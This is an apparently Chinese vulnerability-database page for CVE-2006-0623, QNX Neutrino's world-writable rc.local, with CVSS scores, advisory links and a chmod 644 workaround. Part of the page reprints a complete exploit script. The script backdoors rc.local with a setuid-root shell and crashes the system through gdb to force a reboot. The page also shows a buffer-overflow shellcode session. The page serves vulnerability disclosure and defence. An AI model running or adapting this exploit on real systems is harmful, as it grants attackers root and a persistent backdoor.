CVE-2006-0623
CVSS7.2
发布时间 :2006-02-08 21:02:00
修订时间 :2011-03-07 21:30:27
NMCOE    

[原文]QNX Neutrino RTOS 6.3.0 ships /etc/rc.d/rc.local with world-writable permissions, which allows local users to modify the file and execute arbitrary code at system startup.


[CNNVD]QNX Neutrino本地权限提升漏洞(CNNVD-200602-105)

        QNX Neutrino是嵌入式设备的微内核实时操作系统。
        QNX Neutrino的"phgrafx"工具中存在缓冲区溢出漏洞,恶意用户可以利用这个漏洞在本地获得权限提升。
        例如:qnx$ uname -a; id
        QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
        uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)
        qnx$ gcc phex.c -o phex -W
        qnx$ ./phex
        shellcode length: 21
        address: 0x8047a2c
        Warning: can not find palette under '55

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0623
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0623
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-105
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0474
(UNKNOWN)  VUPEN  ADV-2006-0474
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=387
(VENDOR_ADVISORY)  IDEFENSE  20060207 QNX RTOS 6.3.0 rc.local Insecure File Permissions Vulnerability
http://secunia.com/advisories/18750
(VENDOR_ADVISORY)  SECUNIA  18750
http://xforce.iss.net/xforce/xfdb/24552
(UNKNOWN)  XF  qnx-rclocal-root-privileges(24552)
http://www.securityfocus.com/bid/16539
(UNKNOWN)  BID  16539
http://www.osvdb.org/22958
(UNKNOWN)  OSVDB  22958
http://securitytracker.com/id?1015598
(UNKNOWN)  SECTRACK  1015598

- 漏洞信息

QNX Neutrino本地权限提升漏洞
高危 未知
2006-02-08 00:00:00 2006-02-10 00:00:00
本地  
        QNX Neutrino是嵌入式设备的微内核实时操作系统。
        QNX Neutrino的"phgrafx"工具中存在缓冲区溢出漏洞,恶意用户可以利用这个漏洞在本地获得权限提升。
        例如:qnx$ uname -a; id
        QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
        uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)
        qnx$ gcc phex.c -o phex -W
        qnx$ ./phex
        shellcode length: 21
        address: 0x8047a2c
        Warning: can not find palette under '55

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。
        http://www.qnx.com

- 漏洞信息 (1481)

QNX RTOS 6.3.0 Insecure rc.local Permissions Plus System Crash Exploit (EDBID:1481)
QNX local
2006-02-08 Verified
0 kokanin
N/A [点击下载]
#!/bin/sh
# this combines http://www.idefense.com/intelligence/vulnerabilities/display.php?id=387
# and http://www.idefense.com/intelligence/vulnerabilities/display.php?id=386
# into local r00t w00t t00t t00t, hugs and kisses from www.lort.dk. 
# unset PAGER; man chmod | mail -s "urgent reading" support@qnx.com
# kokanin discovered this around august/september 2004
echo "performing check"
if [ -w /etc/rc.d/rc.local ] ; 
then echo "check passed, backdooring system" && 
cat >/tmp/moo.c << __EOF__ && cd /tmp && make moo && echo "chown root /tmp/moo\
&& chmod 6755 /tmp/moo" >> /etc/rc.d/rc.local && echo "rc.local backdoored,\
 crashing system" && echo -e "break *0xb032d59f\nr\ncont\ncont" | gdb gdb; 
int main(){
setuid(0);
system("/bin/sh");
}
__EOF__
else echo "system is not a default QNX 6.3.0 install, or someone set correct permissions manually, sorry";
fi

# milw0rm.com [2006-02-08]
		

- 漏洞信息

22958
QNX Neutrino RTOS rc.local Permission Weakness Privilege Escalation
Local Access Required Misconfiguration
Loss of Integrity
Exploit Public

- 漏洞描述

QNX Neutrino RTOS contains a flaw that may allow a local user to gain elevated privileges. The issue is due to the /etc/rc.d/rc.local file installing with world writeable permissions. This allows any user to add arbitrary commands that will be executed with root privileges upon the next system startup.

- 时间线

2006-02-07 2004-12-24
2006-02-07 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: change the permission of /etc/rc.d/rc.local to something more restrictive such as 644

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站